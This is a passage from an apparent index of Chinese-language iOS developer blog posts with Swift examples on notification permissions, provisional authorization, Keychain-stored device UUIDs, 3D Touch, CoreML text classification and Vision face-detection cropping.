NotificationStatusType.denied { //不允許 //這邊範例是跳出UIAlertController提示並點擊後可跳轉至設定頁面 let alertController = UIAlertController( title: \"親愛的,您目前無法接收通知\", message: \"請開啟結婚吧通知權限。\", preferredStyle: .alert) let settingAction = UIAlertAction( title: \"前往設定\", style: .destructive, handler: { (action: UIAlertAction!) -> Void in if let bundleID = Bundle.main.bundleIdentifier,let url = URL(string:UIApplicationOpenSettingsURLString + bundleID) { UIApplication.shared.openURL(url) } }) let okAction = UIAlertAction( title: \"取消\", style: .default, handler: { (action: UIAlertAction!) -> Void in //well.... }) alertController.addAction(okAction) alertController.addAction(settingAction) self.present(alertController, animated: true) { }} else if notificationStatus.value == NotificationStatusType.notDetermined { //未詢問 requestNotificationPermission()} 請注意!!跳到APP的「設定」頁時請勿使用 UIApplication.shared.openURL(URL(string:”App-Prefs:root=\\ (bundleID)”) ) 方式跳轉, 會被退審! 會被退審! 會被退審! (親身經歷) 這是Private API5. 應用(動態)動態變更狀態的部分,因為notificationStatus物件我們使用是Observable,我們可以在要時時監測狀態的viewDidLoad中加入監聽處理:override func viewDidLoad() { super.viewDidLoad() notificationStatus.afterChange += { oldStatus,newStatus in if newStatus == NotificationStatusType.authorized { //print(\"❤️謝謝你打開通知\") } else if newStatus == NotificationStatusType.denied { //print(\"😭嗚嗚\") } }} 以上只是範例Code,實際應用、觸發可再自行調校 *notificationStatus 使用 Observable 請注意記憶體控制,該釋放時要能釋放(防止記憶體洩漏)、不該釋放時需持有(避免監聽失效)最後附上完整Demo成品:結婚吧APP*由於我們的專案支援範圍是iOS 9 ~ iOS12,iOS 8未進行任何測試不確定支援程度有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "什麼?iOS 12 不需使用者授權就能收到推播通知(Swift)", "url": "/posts/ade9e745a4bf/", "categories": "ZRealm, Dev.", "tags": "ios, swift, push-notification, ios-app-development, ios12", "date": "2018-11-01 23:35:02 +0800", "snippet": "什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) — (2019–02–06 更新)UserNotifications Provisional Authorization 臨時權限、iOS 12 靜音通知介紹MurMur……前陣子在改善APP推播通知允許及點擊率過低問題,做了些優化調整;最初版的時候體驗非常差,APP 安裝完一啟動就直接跳「APP想要傳送通知」的詢問視窗;想當...", "content": "什麼?iOS 12 不需使用者授權就能傳送推播通知(Swift) — (2019–02–06 更新)UserNotifications Provisional Authorization 臨時權限、iOS 12 靜音通知介紹MurMur……前陣子在改善APP推播通知允許及點擊率過低問題,做了些優化調整;最初版的時候體驗非常差,APP 安裝完一啟動就直接跳「APP想要傳送通知」的詢問視窗;想當然而關閉率非常高,根據前一篇使用 Notification Service Extension 統計通知實際顯示數,推測按允許推播的使用者只有大約10%.目前調整新安裝引導流程、配合介面優化將詢問通知視窗的跳出時機調整如下:結婚吧APP如果使用者還在猶豫或想使用看看再決定要不要接收通知,可按右上角「略過」,避免一開始因對APP還不熟悉而按下「不允許」造成之後也無法再詢問一去不復返的結果。進入正題在做上面這個優化項目時發現 UserNotifications iOS 12 中新增一項 .provisional 權限,翻成白話就是臨時的通知權限, 不用跳詢問通知視窗取得允許通知權限就能對使用者發送推播通知(靜音通知) ,實際效果跟限制我們接著看下去。如何要求臨時通知權限?if #available(iOS 12.0, *) { let center = UNUserNotificationCenter.current() let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound, .provisional] // 可以只要求臨時權限.provisional,或是順便先要求所有要用的權限XD // 都不會觸發顯示詢問通知視窗 center.requestAuthorization(options: permissiones) { (granted, error) in print(granted) }}我們將以上程式加入 AppDelegate didFinishLaunchingWithOptions 然後開啟APP,就會發現沒有跳出詢問通知視窗;這時我們去 設定 查看 APP通知設定(圖一) 取得靜音通知權限我們就這樣默默地取得了靜音通知權限🏆在程式判斷當前推播通知權限的部分新增 authorizationStatus .provisional 項目 (僅iOS 12之後):if #available(iOS 10.0, *) { UNUserNotificationCenter.current().getNotificationSettings { (settings) in if settings.authorizationStatus == .authorized { //允許 } else if settings.authorizationStatus == .denied { //不允許 } else if settings.authorizationStatus == .notDetermined { //沒問過 } else if #available(iOS 12.0, *) { if settings.authorizationStatus == .provisional { //目前是臨時權限 } } }} 請注意! 如果你有針對當前通知權限狀態做判斷,settings.authorizationStatus == .notDetermined 跟 settings.authorizationStatus == .provisional 都是可以再跳出通知詢問視窗問使用者允不允許接收通知的靜音通知能幹嘛?推播如何顯示?先來張圖整理一下靜音通知會顯示的時機:可以看到如果是靜音推播通知,APP在背景狀態下收到通知時 不會跳出橫幅、不會有聲音提示、不能標記、不會出現在鎖定畫面,只會出現在手機解鎖狀態下下拉的通知中心之中 :可以看到您的發送的推播通知,並且會自動聚合成一個分類點擊展開後使用者可選擇:此展開的詢問視窗只會出現在「臨時權限」時靜音推播之下 要「繼續」接收推播 — 「傳送重要通知」: 通知權限就全開了!通知權限就全開了!通知權限就全開了! 真的很重要所以講三次,這時候前面程式碼要求權限那段一併要求所有權限的效果就相當顯著了。或維持接收靜音通知 「關閉」 — 「關閉所有通知」點擊後完全關閉推播通知(含靜音通知)。附註:要怎麼手動把現有的APP調成靜音通知?靜音通知是iOS 12對通知優化推出的新設定與臨時權限無關,只不過是程式那端拿到臨時權限就能發靜音通知;針對APP的通知要設成靜音也很簡單,方法之一就是去「設定」-「通知」- 找到APP 將其所有權限都關閉只留「通知中心」(如圖ㄧ)即是靜音通知.或是收到APP通知時重壓/長壓展開後,點擊右上角「…」選擇傳送靜音通知亦同:有了臨時權限在之後觸發跳出詢問通知視窗時:要求通知權限的部分拿掉 .provisional 就能依然正常詢問使用者要不要允許接收通知:if #available(iOS 10.0, *) { let center = UNUserNotificationCenter.current() let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound] center.requestAuthorization(options: permissiones) { (granted, error) in print(granted) }}按「允許」取得所有通知權限、按「不允許」關閉所有通知權限(含本來取得的靜音通知權限)整體流程如下:總結:iOS 12的這項通知貼心優化,讓使用者跟開發者之間對通知功能更容易達搭起互動的橋樑,能盡量避免一去不復返關閉通知的狀況。對使用者來說,往往跳詢問通知視窗時不知該按下允許還是拒絕因為我們不知道開發者會傳什麼樣的通知給我們,可能是廣告亦可能是重要消息,未知的事物是可怕的,所以大部分的人都會先保守按下拒絕。對開發者來說,我們精心準備了許多項目包含重要消息要推送給使用者知道,但就因上述問題而被使用者屏蔽,我們花費心思設計的文案就這樣白費了!此功能可讓開發者把握使用者剛安裝APP時的機會,設計好推播流程、內容,對使用者優先推送感興趣項目,增加使用者對此APP通知的認識度,並追蹤推播點擊率,在適當的時機再觸發詢問使用者要不要接收通知。雖然能曝光的地方只有 通知中心 但有曝光有機會;換個角度想,我們是使用者的話,沒按允許通知,APP如果能傳一堆有橫幅+有聲音+還出現在解鎖畫面的通知給我,應該會覺得非常干擾惱人(隔壁陣營就是XD),蘋果這個做法則是在使用者與開發者之間取得了平衡。目前的問題大概就是….iOS 12的用戶還太少🤐2019–02–06 更新實際應用: 實際應用我已「取消」實作此功能為什麼?因為發現在以下情況使用者會被動進入靜音推播模式,要自行手動把所有推播權限(橫幅、聲音、標記)打開有點尷尬,也就是說使用者如果再詢問通知權限時按否,到設定再打開,那個打開的會只有靜音通知權限;要再請使用者把下方橫幅、聲音、標記都打開有點困難,所以暫時就先取消不使用了。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "iOS UUID 的那些事 (Swift/iOS ≥ 6)", "url": "/posts/a4bc3bce7513/", "categories": "ZRealm, Dev.", "tags": "iplayground, swift, ios-app-development, uuid, idfv", "date": "2018-10-25 22:26:20 +0800", "snippet": "iOS UUID 的那些事 (Swift/iOS ≥ 6)iPlayground 2018 回來 & UUID那些事前言:上週六、日跑去參加 iPlayground Apple 軟體開發者研討會,這個活動訊息是同事PASS過來的,去之前我也不清楚這個活動。兩天下來,整題活動跟時程安排流暢,議程內容: 趣味的:腳踏車、凋零的Code、iOS/API 演進史、威利在哪裡(CoreML ...", "content": "iOS UUID 的那些事 (Swift/iOS ≥ 6)iPlayground 2018 回來 & UUID那些事前言:上週六、日跑去參加 iPlayground Apple 軟體開發者研討會,這個活動訊息是同事PASS過來的,去之前我也不清楚這個活動。兩天下來,整題活動跟時程安排流暢,議程內容: 趣味的:腳踏車、凋零的Code、iOS/API 演進史、威利在哪裡(CoreML Vision) 實用的:測試類 (XCUITest、依賴注入)、SpriteKit 做動畫效果的替代方案、GraphQL 真功夫:深入拆解Swift、iOS 越獄/Tweak開發、Redux腳踏車Project 印象深刻,用iPhone手機當感測器感測腳踏車踏板轉動,直接在台上騎腳踏車切換投影片(前輩主要目標是要做開源版zwift,也分享了許多地雷,例如Client/Sever通信、延遲問題、磁場干擾)凋零的Dirty Code;聽得心有戚戚,在心裡會心一笑;技術債就是這樣一直累積下來的,開發時程趕,所以用架構性較差的快速做法,後人接手改也沒時間重構,就越積越多;到最後可能真的只有打掉這條路了測試類(Design Patterns in XCUITest) KKBOX的前輩 ,完全沒藏私直接公開他們的作法及程式範例細節還有遇到的雷、解決辦法,這堂也是對我們工作上最有幫助的項目;測試這塊是我一直想加強的部分,可以回去好好研究研究Lighting Talk的部分在台下聽得也好想上去分享😂 下次要提早做好準備了!會後的offical party,酒水食物場地都很有誠意,聽前輩們的真心話吐露,很輕鬆有趣之外還吸收許多職場軟實力.台大後台咖啡我才知道原來這是第一屆,真的有榮幸能夠參加,所有工作人員跟講者辛苦了!去參加研討會的目的不外乎就是要: 增加廣度 ,吸收新知、了解生態、碰一些平常不會接觸的項目跟 增加深度 ,如果是自己已經摸過的項目就是去聽聽看有沒有遺漏的地方或是還有其他做法沒發現.抄了許多筆記可以回來慢慢研究回味。UUID的那些事因為我聽完回去後馬上實際應用到APP上;這堂是由Zonble前輩主講,我聽到從iPhone OS 2寫到iOS 12我就跪了;由於入行較晚,我是從iOS 11/Swift 4 才開始寫,所以沒碰到那些因為蘋果修改API的動亂時期。想想UUID從可以取得到封鎖也是蠻合理的;如果是用在良善的地方:辨識使用者裝置、廣告或第三方運用唯一性去做廣告操作;但如果有廠商想做惡,也可以透過這個機制反查,知道你這隻手機的主人是怎麼樣的人?(例如有裝旅遊+台北等公車+BMW APP+嬰兒照護 就能推測你很常出國家裡有小孩而且住在台北 之類的資訊)再加上你在APP上輸入的個資,能拿去做什麼應用不敢想像但這其中也波及到很多正當守法的用戶,像是本來用UUID當使用者的資料解密KEY或用UUID當裝置判斷都受到很大的影響;真佩服那個時期的工程師前輩們,這些影響老闆跟使用者一定會狂罵,要急中生智找其他替代辦法.替代方案:本篇文章以取得UUID辨識裝置唯一值為主,如果是要找知道使用者裝了哪些APP的替代方案可參考以下關鍵字搜尋做法: UIPasteboard pasteboardWithName: create: (運用剪貼簿在APP間共享) 、canOpenURL: info.plist LSApplicationQueriesSchmes (運用canOpenURL檢查APO有無安裝,要在info.plist列舉,最多50筆) 用MAC Address當UUID,但後來也被BAN了 Finger Printing (Canvas/User-Agent…) :沒研究,不過這項目主要拿來讓safari跟app能產生同樣的UUID, Deferred Deep Linking (延遲深度連結)用AmIUnique? ID entifier F or V endor (IDFV):目前主流的解決方案🏆概念是蘋果會根據你的Bundle ID前輟為使用者產生UUID,相同的Bundle ID前輟會產生相同的UUID,例如:com.518.work/com.518.job 同個裝置會得到相同的UUID如同原文ID For Vendor,相同的前輟蘋果認為即是相同廠商的APP,所以共享UUID是允許的。ID entifier F or V endor (IDFV):let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidString唯需注意:當所有同Vendor的APP都移除後再重裝就會產生新的UUID ( com.518.work跟com.518.job都被刪除,再裝回com.518.work這時就會產生新的UUID ) 同理如果你只有一個APP,刪掉重裝就會產生新的UUID因為這個特性,我們公司的其他APP是使用Key-Chain來解決這個問題,聽了講者前輩的指點也驗證了這個做法是正確的!流程如下:Key-Chain UUID欄位有值時取值,無則取IDFA的UUID值並回寫Key-Chain寫入方式:if let data = DEVICE_UUID.data(using: .utf8) { let query = [ kSecClass as String : kSecClassGenericPassword as String, kSecAttrAccount as String : \"DEVICE_UUID\", kSecValueData as String : data ] as [String : Any] SecItemDelete(query as CFDictionary) SecItemAdd(query as CFDictionary, nil)}Key-Chain讀取方式:let query = [ kSecClass as String : kSecClassGenericPassword, kSecAttrAccount as String : \"DEVICE_UUID\", kSecReturnData as String : kCFBooleanTrue, kSecMatchLimit as String : kSecMatchLimitOne ] as [String : Any]var dataTypeRef: AnyObject? = nillet status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef)if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) { //uuid} 如果嫌Key-Chain操作太繁瑣可以自行封裝或使用第三方套件。完整CODE:let DEVICE_UUID:String = { let query = [ kSecClass as String : kSecClassGenericPassword, kSecAttrAccount as String : \"DEVICE_UUID\", kSecReturnData as String : kCFBooleanTrue, kSecMatchLimit as String : kSecMatchLimitOne ] as [String : Any] var dataTypeRef: AnyObject? = nil let status: OSStatus = SecItemCopyMatching(query as CFDictionary, &dataTypeRef) if status == noErr,let dataTypeRef = dataTypeRef as? Data,let uuid = String(data:dataTypeRef, encoding: .utf8) { return uuid } else { let DEVICE_UUID:String = UIDevice.current.identifierForVendor?.uuidString ?? UUID().uuidString if let data = DEVICE_UUID.data(using: .utf8) { let query = [ kSecClass as String : kSecClassGenericPassword as String, kSecAttrAccount as String : \"DEVICE_UUID\", kSecValueData as String : data ] as [String : Any] SecItemDelete(query as CFDictionary) SecItemAdd(query as CFDictionary, nil) } return DEVICE_UUID }}()有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)", "url": "/posts/1ca246e27273/", "categories": "ZRealm, Dev.", "tags": "ios, swift, 3d-touch, iphone, ios-app-development", "date": "2018-10-18 22:36:57 +0800", "snippet": "[TL;DR]提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)iOS 3D TOUCH 應用[TL;DR] 2020/06/14 iPhone 11 以上版本已取消 3D Touch 功能;改用 Haptic Touch 取代,實作方式也有所不同。前陣子在專案開發閒暇之時,探索了許多 iOS 的有趣功能: CoreML 、 Vision 、 Noti...", "content": "[TL;DR]提升使用者體驗,現在就為您的 iOS APP 加上 3D TOUCH 功能(Swift)iOS 3D TOUCH 應用[TL;DR] 2020/06/14 iPhone 11 以上版本已取消 3D Touch 功能;改用 Haptic Touch 取代,實作方式也有所不同。前陣子在專案開發閒暇之時,探索了許多 iOS 的有趣功能: CoreML 、 Vision 、 Notification Service Extension 、Notification Content Extension、Today Extension、Core Spotlight、Share Extension、SiriKit (部分已整理成文章、其他項目敬請期待🤣)其中還有今日的主角: 3D Touch功能這個早在 iOS 9/iPhone 7之後 就開始支援的功能,直到我自己從iPhone 6換到iPhone 8 後才體會到它的好用之處!3D Touch能在APP中實做兩個項目,如下:1. Preview ViewController 預覽功能 — 結婚吧APP2. 3D Touch Shortcut APP 捷徑啟動功能其中第一項是應用最廣且效果最好的 (Facebook:動態消息內容預覽、Line:偷看訊息),第二項 APP 捷徑啟動 目前看數據是鮮少人使用所以放最後在講。1. Preview ViewController 預覽功能:功能展示如上圖1所示,ViewController 預覽功能支援 3D Touch重壓時背景虛化 3D Touch重壓住時跳出ViewController預覽視窗 3D Touch重壓住時跳出ViewController預覽視窗,往上滑可在下方加入選項選單 3D Touch重壓放開返回視窗 3D Touch重壓後再用力進入目標ViewController這裡將分 A:列表視窗 、 B:目標視窗 個別列出要實作的程式碼:由於在 B中 沒有方式能判斷當前是預覽還是真的進入此視窗,所以我們先建立一個Protocol傳遞值,用來判斷protocol UIViewControllerPreviewable { var is3DTouchPreview:Bool {get set}這樣我們就能在 B中 做以下判斷:class BViewController:UIViewController, UIViewControllerPreviewable { var is3DTouchPreview:Bool = false override func viewDidLoad() { super.viewDidLoad()A:列表視窗,可以是 UITableView 或 UICollectionView:class AViewController:UIViewController { //註冊能3D Touch 的 View override func traitCollectionDidChange(_ previousTraitCollection: UITraitCollection?) { super.traitCollectionDidChange(previousTraitCollection) if traitCollection.forceTouchCapability == .available { //TableView: registerForPreviewing(with: self, sourceView: self.TableView) //CollectionView: registerForPreviewing(with: self, sourceView: self.CollectionView) } } }extension AViewController: UIViewControllerPreviewingDelegate { //3D Touch放開後,要做的處理 func previewingContext(_ previewingContext: UIViewControllerPreviewing, commit viewControllerToCommit: UIViewController) { //現在要直接跳轉的該頁面了,所以將ViewController的預覽模式參數取消: if var viewControllerToCommit = viewControllerToCommit as? UIViewControllerPreviewable { viewControllerToCommit.is3DTouchPreview = false } self.navigationController?.pushViewController(viewControllerToCommit, animated: true) } //控制3D Touch的Cell位置,欲顯示的ViewController func previewingContext(_ previewingContext: UIViewControllerPreviewing, viewControllerForLocation location: CGPoint) -> UIViewController? { //取得當前點的indexPath/cell實體 //TableView: guard let indexPath = TableView.indexPathForRow(at: location),let cell = TableView.cellForRow(at: indexPath) else { return nil } //CollectionView: guard let indexPath = CollectionView.indexPathForItem(at: location),let cell = CollectionView.cellForItem(at: indexPath) else { return nil } //欲顯示的ViewController let targetViewController = UIStoryboard(name: \"StoryboardName\", bundle: nil).instantiateViewController(withIdentifier: \"ViewControllerIdentifier\") //背景虛化時保留區域(一般為點擊位置),附圖1 previewingContext.sourceRect = cell.frame //3D Touch視窗大小,預設為自適應,不需更改 //要修改請用:targetViewController.preferredContentSize = CGSize(width: 0.0, height: 0.0) //告知預覽的ViewController目前為預覽模式: if var targetViewController = targetViewController as? UIViewControllerPreviewable { targetViewController.is3DTouchPreview = true } //回傳nil則無任何作用 return nil }} 請注意!其中的註冊能3D Touch 的 View 這塊要放在 traitCollectionDidChange 之中而非 “viewDidLoad” ( 請參考此篇內容 ) 關於要加放在哪裡這塊我踩了許多雷,網路有些資料寫viewDidLoad、有的寫在cellforItem中,但這兩個地方都會出現偶爾失效或部分cell失效的問題。附圖1 背景虛化保留區示意圖如果您需要上滑後在下方加入選項選單請在 B 之中加入,是B 是B 是B哦!override var previewActionItems: [UIPreviewActionItem] { let profileAction = UIPreviewAction(title: \"查看商家資訊\", style: .default) { (action, viewController) -> Void in //點擊後的操作 } return [profileAction]}回傳空陣列表示不使用此功能。完成!2. APP 捷徑啟動第一步在 info.plist 中加入 UIApplicationShortcutItems 參數,類型 Array並在其中新增選單項目(Dictionary),其中Key-Value的設定對應如下: [必填] UIApplicationShortcutItemType : 識別字串,在AppDelegate中做判斷使用 [必填] UIApplicationShortcutItemTitle : 選項標題 UIApplicationShortcutItemSubtitle : 選項子標題 UIApplicationShortcutItemIconType : 使用系統圖標參考自 此篇文章 UIApplicationShortcutItemIconFile : 使用自定義圖標(size:35x35,單色),與UIApplicationShortcutItemIconType擇ㄧ使用 UIApplicationShortcutItemUserInfo : 更多附加資訊EX: [id:1]我的設定如上圖第二步在AppDelegate中新增處理的Functionfunc application(_ application: UIApplication, performActionFor shortcutItem: UIApplicationShortcutItem, completionHandler: @escaping (Bool) -> Void) { var info = shortcutItem.userInfo switch shortcutItem.type { case \"searchShop\": // case \"topicList\": // case \"likeWorksPic\": // case \"marrybarList\": // default: break } completionHandler(true)}完成!結語在APP中加入 3D Touch的功能並不難,對使用者來說也會覺得很貼心❤;可以搭配設計操作增加使用者體驗;但目前就只有上述兩個功能可做在加上iPhone 6s以下/iPad/iPhone XR都不支援3D Touch所以實際能做的功能又更少了,只能以輔助、增加體驗為主。p.s.如果你測的夠細會發現以上效果,在CollectionView滑動中圖有部分已經滑出畫面這時按壓就會出現以上情況😅有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!", "url": "/posts/793bf2cdda0f/", "categories": "ZRealm, Dev.", "tags": "swift, ios, machine-learning, natural-language-process, ios-app-development", "date": "2018-10-17 23:20:35 +0800", "snippet": "嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!探索CoreML 2.0,如何轉換或訓練模型及將其應用在實際產品上接續 上一篇 針對在 iOS上使用機器學習的研究,本篇正式切入使用CoreML首先簡述一下歷史,蘋果在2017年發布了CoreML(包含上篇文章介紹的Vision) 機器學習框架;2018緊接著推出CoreML 2.0,除 效能提升 外還支援...", "content": "嚐鮮 iOS 12 CoreML — 使用機器學習自動預測文章分類,連模型也自己訓練!探索CoreML 2.0,如何轉換或訓練模型及將其應用在實際產品上接續 上一篇 針對在 iOS上使用機器學習的研究,本篇正式切入使用CoreML首先簡述一下歷史,蘋果在2017年發布了CoreML(包含上篇文章介紹的Vision) 機器學習框架;2018緊接著推出CoreML 2.0,除 效能提升 外還支援 自訂客製化CoreML模型 。前言如果你只是聽過「機器學習」這個名詞而不清楚他的意思的話,這邊用一句話簡單說明: 「依照你過往的經驗去預測未來同樣事情的結果」 例如:我吃蛋餅要加番茄醬,買過幾次後早餐店老闆娘就會記得,「帥哥,加番茄醬?」我回答:「是」 — 老闆娘預測正確;若回答「不是,因為是蘿蔔糕+蛋餅」 — 老闆娘記得並再下次遇到相同情況修正他的問題. 輸入的資料:蛋餅、起司蛋餅、蛋餅+蘿蔔糕、蘿蔔糕、蛋 輸出的資料:要加番茄醬/不加番茄醬 模型:老闆娘的記憶跟判斷其實我對機器學習的認知,也是在純粹知道概念理論,但沒實際深入了解過,如有錯誤請大家多多指教提到這就要順便拜🛐一下蘋果大神,把機器學習產品化,只要知道基本概念就能操作,不用具備龐大的知識基礎,降低入門門檻,我自己也是在實作過這個範例後,才第一次覺得有接觸到機器學習的踏實感,讓我對這個項目產生很大的興趣.開始第一步,最重要的當然是前面所提到的「模型」,模型從哪來呢?有三種方式: 網路找別人訓練好的模型並轉成CoreML的格式Awesome-CoreML-Models 這個GitHub專案搜集很多別人訓練好的模型模型轉換可參考 官網 或網路資料 蘋果 Machine Learning官網 最下方的 Download Core ML Models ,可以下載蘋果幫我們訓練好的模型 (主要是拿來學習或測試而已) 運用工具自己訓練模型🏆所以,能做什麼? 圖片辨識 🏆 文字內容識別分類🏆 文字斷詞 文字語言判斷 名詞識別斷詞請參考 在 iOS App 中進行自然語言處理:初探 NSLinguisticTagger今日主要重點 — 文字內容識別分類+ 自己訓練模型講白話就是,我們給機器「文字內容」跟「分類」訓練電腦對未來的資料做分類.例如:「點擊查看最新優惠!」、「1000$購物金馬上領」=>「廣告」;「Alan發送一則訊息給您」、「您的帳戶即將到期」=>「重要事項」實際應用:垃圾信件判別、標籤產生、分類預測p.s 由於圖片辨識我還沒想到能訓練它做什麼,所以就沒去研究了;有興趣的朋友可以看 這篇 ,官方有提供圖片的GUI訓練工具 很方便!!需求工具: MacOS Mojave⬆ + Xcode 10訓練工具: BlankSpace007/TextClassiferPlayground (官方只提供 圖片的GUI訓練工具 ,文字的要自己寫;這是由網路大神提供的第三方工具)準備訓練資料:資料結構如上圖,支援.json,.csv檔準備好要拿來訓練的資料,這裡以用Phpmyadmin(Mysql) 匯出訓練資料SELECT `title` AS `text`,`type` AS `label` FROM `posts` WHERE `status` = '1'匯出方式更改成JSON格式[{\"type\":\"header\",\"version\":\"4.7.5\",\"comment\":\"Export to JSON plugin for PHPMyAdmin\"},{\"type\":\"database\",\"name”:\"db\"},{\"type\":\"table\",\"name”:\"posts\",\"database”:\"db\",\"data\"://以上刪除[ { “label”:””, “text”:”\" }]//以下刪除}]打開剛下載的JSON檔案,只留下中間DATA結構裡的內容使用訓練工具:下載好訓練工具後,點擊 TextClassifer.playground 打開 Playground點擊紅匡執行->點擊綠匡切換View顯示將JSON檔案拉入GUI工具打開下方Console查看訓練進度,看到「測試正確率」這行代表已完成模型訓練資料太多就要考驗考驗你的電腦處理能力。填寫基本訊息後按「保存」保存下訓練好的模型檔案CoreML 模型檔到此你的模型就已經訓練好囉!是不是很容易具體訓練方式: 先將輸入的語句做斷詞(我想知道婚禮需要準備什麼=>我想,知道,婚禮,需要,準備,什麼),再看他的分類是什麼做一連串的機器學習計算。 將訓練資料分組,例如: 80% 是拿來訓練另外20%是拿來測試驗證到這邊已經完成大部分的工作,接下來只要把模型檔加入iOS 專案中,寫個幾行程式就行囉。將模型檔案( * .mlmodel) 拖曳/加入專案之中程式部分:import CoreML//if #available(iOS 12.0, *),let prediction = try? textClassifier().prediction(text: \"要預測的文字內容\") { let type = prediction.label print(\"我覺得是...\\(type)\")}完工!待探索問題: 可以支持再學習? 可以將mlmodel模型檔轉換到其他平台? 能再iOS上訓練模型?以上三點,目前查到的資料是都不行。結語:目前我將其應用在實務APP上,做文章發文時預測他的分類結婚吧APP我拿去訓練資料約才100筆,目前預測命中率約35%,主要為實驗性質而已。— — — — —就是這麼簡單,完成人生中第一個機器學習項目;其中背景如何運作還有很長的路可以學習,希望這個項目能給大家一些啟發!參考資料: WWDC2018之Create ML(二)有任何問題及指教歡迎 與我聯絡 。===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)", "url": "/posts/9a9aa892f9a9/", "categories": "ZRealm, Dev.", "tags": "swift, machine-learning, facedetection, ios, ios-app-development", "date": "2018-10-17 00:01:24 +0800", "snippet": "Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)Vision 實戰應用一樣不多說,先上一張成品圖:優化前 V.S 優化後 — 結婚吧APP前陣子iOS 12發佈更新,注意到新開放的CoreML 機器學習框架;覺得挺有趣的,就開始構想如果想用在當前的產品上能放在哪裡? CoreML嚐鮮文章現已發佈: 使用機器學習自動預測文章分類,連模型也自己訓練CoreML提供文字...", "content": "Vision 初探 — APP 頭像上傳 自動識別人臉裁圖 (Swift)Vision 實戰應用一樣不多說,先上一張成品圖:優化前 V.S 優化後 — 結婚吧APP前陣子iOS 12發佈更新,注意到新開放的CoreML 機器學習框架;覺得挺有趣的,就開始構想如果想用在當前的產品上能放在哪裡? CoreML嚐鮮文章現已發佈: 使用機器學習自動預測文章分類,連模型也自己訓練CoreML提供文字、圖像的機器學習模型訓練及引用到APP裡的接口,我原先的想法是,使用CoreML來做到人臉識別,解決APP中有裁圖的項目頭或臉被卡掉的問題,如上圖左所示,若人臉出現在周圍則很容易因為縮放+裁圖造成臉不完整.經過網路搜尋一番後才發現我學識短淺,這個功能在iOS 11就已發佈:「Vision」框架,支援文字偵測、人臉偵測、圖像比對、QRCODE偵測、物件追蹤…功能這邊使用的就是其中的人臉偵測項目,經優化後如右圖所示;找到人臉並以此為中心裁圖.實戰開始:首先我們先做能標記人臉位置的功能,初步認識一下Vision怎麼用Demo APP完成圖如上所示,能標記出照片中人臉的位置p.s 僅能標記「人臉」,整個頭包含頭髮並不行😅這塊程式主要分為兩部分,第一部分要解決 圖片原尺寸縮放放入 ImageView時會留白的狀況;簡單來說我們要的是Image的Size多大,ImageView的Size就有多大,若直接放入圖片會造成如下走位情形你可能會想說直接改ContentMode變成fill、fit、redraw,但就會變形或圖片被卡掉let ratio = UIScreen.main.bounds.size.width//這邊是因為我UIIMAGEVIEW 那邊設定左右對齊0,寬高比1:1let sourceImage = UIImage(named: \"Demo2\")?.kf.resize(to: CGSize(width: ratio, height: CGFloat.leastNonzeroMagnitude), for: .aspectFill)//使用KingFisher的圖片變形功能,已寬為基準,高度自由imageView.contentMode = .redraw//contentMode使用redraw填滿imageView.image = sourceImage//賦予圖片imageViewConstraints.constant = (ratio - (sourceImage?.size.height ?? 0))imageView.layoutIfNeeded()imageView.sizeToFit()//這一塊是我去改變 imageView的Constraints,詳情可看文末完整範例以上就是針對圖片做的處理裁圖部分使用Kingfisher幫助我們,也可替換成其他套件或自刻方法第二部分,進入重點直接看Codeif #available(iOS 11.0, *) { //iOS 11之後才支援 let completionHandle: VNRequestCompletionHandler = { request, error in if let faceObservations = request.results as? [VNFaceObservation] { //辨識到的臉臉們 DispatchQueue.main.async { //操作UIVIEW,切回主執行緒 let size = self.imageView.frame.size faceObservations.forEach({ (faceObservation) in //坐標系轉換 let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height) let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height) let transRect = faceObservation.boundingBox.applying(translate).applying(transform) let markerView = UIView(frame: transRect) markerView.backgroundColor = UIColor.init(red: 0/255, green: 255/255, blue: 0/255, alpha: 0.3) self.imageView.addSubview(markerView) }) } } else { print(\"未偵測到任何臉\") } } //辨識請求 let baseRequest = VNDetectFaceRectanglesRequest(completionHandler: completionHandle) let faceHandle = VNImageRequestHandler(ciImage: ciImage, options: [:]) DispatchQueue.global().async { //辨識需要時間,所以放入背景子執行緒執行,避免當前畫面卡住 do{ try faceHandle.perform([baseRequest]) }catch{ print(\"Throws:\\(error)\") } } } else { // print(\"不支援\")}主要要注意的是,坐標系轉換部分;辨識出來的結果是Image的原始座標;我們須將它轉換成包在外面的ImageView的實際座標才能正確地使用它.再來我們來做今天的重頭戲 — 依照人臉的位置裁切出大頭貼的正確位置let ratio = UIScreen.main.bounds.size.width//這邊是因為我UIIMAGEVIEW 那邊設定左右對齊0,寬高比1:1,詳情可看文末完整範例let sourceImage = UIImage(named: \"Demo\")imageView.contentMode = .scaleAspectFill//使用scaleAspectFill模式填滿imageView.image = sourceImage//直接賦予原圖片,我們之後再操作if let image = sourceImage,#available(iOS 11.0, *),let ciImage = CIImage(image: image) { let completionHandle: VNRequestCompletionHandler = { request, error in if request.results?.count == 1,let faceObservation = request.results?.first as? VNFaceObservation { //ㄧ張臉 let size = CGSize(width: ratio, height: ratio) let translate = CGAffineTransform.identity.scaledBy(x: size.width, y: size.height) let transform = CGAffineTransform(scaleX: 1, y: -1).translatedBy(x: 0, y: -size.height) let finalRect = 